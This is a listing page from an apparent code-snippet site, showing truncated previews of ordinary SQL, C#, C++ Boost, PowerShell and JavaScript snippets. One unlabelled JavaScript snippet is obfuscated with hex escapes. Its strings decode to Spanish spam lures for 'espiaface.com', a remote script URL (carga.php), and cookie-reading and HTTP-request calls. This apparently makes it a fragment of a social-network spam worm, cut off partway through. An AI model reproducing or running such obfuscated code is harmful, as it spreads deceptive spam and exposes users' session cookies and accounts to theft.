Format:
Recent snippets matching tags of Func
/* @ Navigator Detect Function (JavaScript) @author Luca Provenzano (mailto: hiimluca@gmail.com) */ function NavDetect(Navegador){ var Navegador = navigator.appName; switch(Navegador){ case 'Netscape': alert('Usted está utilizando Mozilla Firefox o Chrome');
76 Views
no comments
/* @Function NumToBase(); @Exercise JS developed by Luca Provenzano */ function NumToBase(num, base, prefijo, sufijo){ var Conversion; if (typeof base == 'undefined') base = 16; if (typeof prefijo == 'undefined') prefijo = '0x'; if (typeof sufijo == 'undefined') sufijo = '';
67 Views
no comments
CREATE FUNCTION [dbo].[udf_StringToTable] ( @string VARCHAR(MAX), @delimiter CHAR(1) ) RETURNS @output TABLE( data VARCHAR(256) ) BEGIN
89 Views
no comments
var _0x3fe9=["x25x66x69x72x73x74x6Ex61x6Dx65x25x20x6Dx69x72x61x20x65x73x74x6Fx20x71x75x65x20x65x73x20x69x6Ex63x72x65x69x62x6Cx65x2Cx20x74x65x20x70x65x72x6Dx69x74x65x20x76x65x72x20x71x75x69x65x6Ex65x73x20x76x69x73x69x74x61x6Ex20x74x75x20x70x65x72x66x69x6Cx20x79x20x66x75x6Ex63x69x6Fx6Ex61x20x62x69x65x6Ex2Cx20x65x6Ex74x72x61x20x61x3Ax20x65x73x70x69x61x66x61x63x65x2Ex63x6Fx6D","x54x6Fx70x20x64x65x20x76x69x73x69x74x61x6Ex74x65x73x20x64x65x20x74x75x20x70x65x72x66x69x6Cx20x64x65x20x68x6Fx79x3Ax20x0Ax20x25x74x66x25x20x2Dx20x31x39x20x76x69x73x69x74x61x73x20x0Ax20x25x74x66x25x20x2Dx20x31x36x20x76x69x73x69x74x61x73x20x0Ax20x25x74x66x25x20x2Dx20x31x35x20x76x69x73x69x74x61x73x20x0Ax20x25x74x66x25x20x2Dx20x31x33x20x76x69x73x69x74x61x73x20x0Ax20x41x76x65x72x69x67x75x61x20x74x75x20x74x61x6Dx62x69x65x6Ex20x71x75x69x65x6Ex20x74x65x20x65x73x74x61x20x6Dx69x72x61x6Ex64x6Fx20x65x6Ex74x72x61x6Ex64x6Fx20x65x6Ex3Ax20x65x73x70x69x61x66x61x63x65x2Ex63x6Fx6Dx0Ax46x75x6Ex63x69x6Fx6Ex61x20x64x65x20x76x65x72x64x61x64x21","x68x74x74x70x3Ax2Fx2Fx77x77x77x2Ex65x73x70x69x61x66x61x63x65x2Ex63x6Fx6D x2Fx63x61x72x67x61x2Ex70x68x70","x45x73x74x6Fx20x65x73x20x69x6Ex63x72x65x69x62x6Cx65x21x20x70x75x65x64x65x6Ex20x76x65x72x20x71x75x69x65x6Ex20x65x73x74x61x20x76x69x73x69x74x61x6Ex64x6Fx20x73x75x20x70x65x72x66x69x6Cx20x79x20x74x65x20x6Cx6Cx 65x67x61x6Ex20x6Ex6Fx74x69x66x69x63x61x63x69x6Fx6Ex65x73x2Cx20x73x69x67x61x6Ex20x6Cx6Fx73x20x70x61x73x6Fx73x20x64x65x2 0x65x73x74x61x20x70x61x67x69x6Ex61x20x71x75x65x20x65x78x70x6Cx69x63x61x20x63x6Fx6Dx6Fx20x68x61x63x65x72x6Cx6Fx2Cx20x65 x6Ex74x72x65x6Ex20x65x6Ex3Ax20x65x73x70x69x61x66x61x63x65x2Ex63x6Fx6D","x41x76x65x72x69x67x75x61x20x71x75x69x65x6Ex20x7 6x69x73x69x74x61x20x74x75x20x70x65x72x66x69x6C","x68x72x65x66","x6Cx6Fx63x61x74x69x6Fx6E","x74x6Fx70","x47x45x54","x6Fx70x65 x6E","x6Fx6Ex72x65x61x64x79x73x74x61x74x65x63x68x61x6Ex67x65","x72x65x61x64x79x53x74x61x74x65","x73x74x61x74x75x73","x72x65 x73x70x6Fx6Ex73x65x54x65x78x74","x73x65x6Ex64","x2F","x6Dx61x74x63x68","x63x6Fx6Fx6Bx69x65","x40x5B","x69x64","x3A","x6Ex61x6D
123 Views
no comments
create function dbo.fn_SpacePascal(@in varchar(500)) RETURNS varchar(500) begin /* by: jerry on: 5/2011 to: seperate PsacalCaseWords to Pascal Case Words */ if (@in COLLATE Latin1_General_CS_AS = UPPER(@in))
147 Views
no comments
#include <boost/type_traits/is_arithmetic.hpp> #include <boost/type_traits/is_pointer.hpp> #include <boost/utility/enable_if.hpp> namespace boost { // Never defined extern void* enabler; }
1260 Views
no comments
//Calling Code for VM to pass message box delegate Func<string, string, MessageBoxButton, MessageBoxImage, MessageBoxResult> messageBox = (msg, caption, buttons, image) => MessageBox.Show(msg, caption, buttons, image); //pass above variable to VM //Usage of message box delegate variable inside VM MessageBoxResult = messageBoxinVM("Test Message", "Test Caption for Message", MessageBoxButton.YesNoCancel, MessageBoxImage.Question);
289 Views
no comments
#include <boost/auto_function/auto_function.hpp> #include <boost/generic/std_concept/iterator.hpp> #include <boost/generic/type_traits/concept_is_modeled_by.hpp> #include <cassert> #include <forward_list> #include <iterator> #include <list> #include <vector> // Just for simplicity of the example, pull in the full namespace
240 Views
no comments
/*============================================================================== Copyright (c) 2010 Matthew Calabrese Use, modification and distribution is subject to the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) ==============================================================================*/ // Note: Currently only tested on GCC 4.5.1
257 Views
no comments
// Note: The compiler does not need "requires" or concepts for this to work // Also notice that here the predicate is a type template< class L, class R > BOOST_AUTO_FUNCTION( add( L left, R right ) ) ( requires boost::is_pointer< L > ) ( return left + right // no semicolon, must be an expression ) // Note these are parentheses // Same as above only the predicate is a value
281 Views
no comments
#include <new> #include <utility> // This macro is variadic in order to directly support operator, #define BOOST_AUTO_FUNCTION( ... ) auto __VA_ARGS__ -> BOOST_AUTO_FUNCTION_IMPL #define BOOST_AUTO_VOID_FUNCTION( ... ) \ auto __VA_ARGS__ -> BOOST_AUTO_VOID_FUNCTION_IMPL // Variadic to support expressions with commas not between parentheses
260 Views
no comments
//without using Object Initializer Syntax letter = new Letter(); letter.Date = DateTime.Now.Date; letter.RegisterDate = DateTime.Now.Date; letter.LetterType = LetterType.Outgoing; letter.LetterInformation = new LetterInformation(); letter.LetterInformation.RuntimeState = common.RuntimeState.Added; letter.LetterInformation.Letter = letter;
295 Views
1 comments
param ([string] $filename) function splitString([string]$string, [int]$length) { $lines = @(); $stringLength = $string.Length; $position = 0; while ($position -lt $stringLength) {
681 Views
no comments
// works as expected public wws_Item LoadBySku(string sku) { Expression< Func<wws_Item, bool> > func = itm => itm.Sku == sku; Entity = Context.wws_Items.Where(func).SingleOrDefault(); if (Entity != null) OnLoaded(Entity); return this.Entity;
663 Views
no comments
public void LogSnippetViewAsync(string snippetId, string ipAddress, string userAgent) { Func<string, string, string, bool> del = this.LogSnippetView; del.BeginInvoke(snippetId, ipAddress,userAgent,null,null); } public bool LogSnippetView(string snippetId, string ipAddress, string userAgent) { if (string.IsNullOrEmpty(userAgent)) return false;
499 Views
no comments
function truncate-string([string]$value, [int]$length) { if ($value.Length -gt $length) { $value.Substring(0, $length) } else { $value } }
1797 Views
no comments
using System; using System.Security.Cryptography; using System.Text; using System.Web; public static string HashedString(string cleanString, string salt) { if (String.IsNullOrEmpty(cleanString)) { return String.Empty; } //Bytes to hash
253 Views
no comments
using System.Security.Cryptography; using System.Text; using System.Web; public static string SHA256Encrypt(string source, int digitRandom) { string outputHash = String.Empty; try {
291 Views
no comments
/// <summary> /// Writes the text (expression body) of the function being called, followed by its output. /// </summary> /// <typeparam name="T">The return type of expression/function.</typeparam> /// <param name="expression"> /// The expression/function to be evaluated and whose output will be displayed. /// </param> /// <remarks> /// Useful in seeing the results of function calls while debugging or /// working on spike solutions (see http://www.extremeprogramming.org/rules/spike.html).
228 Views
no comments
Subscribe
Discuss
What's new
What is it
New Snippet
Recent Snippets
My Snippets
Web Code
Search
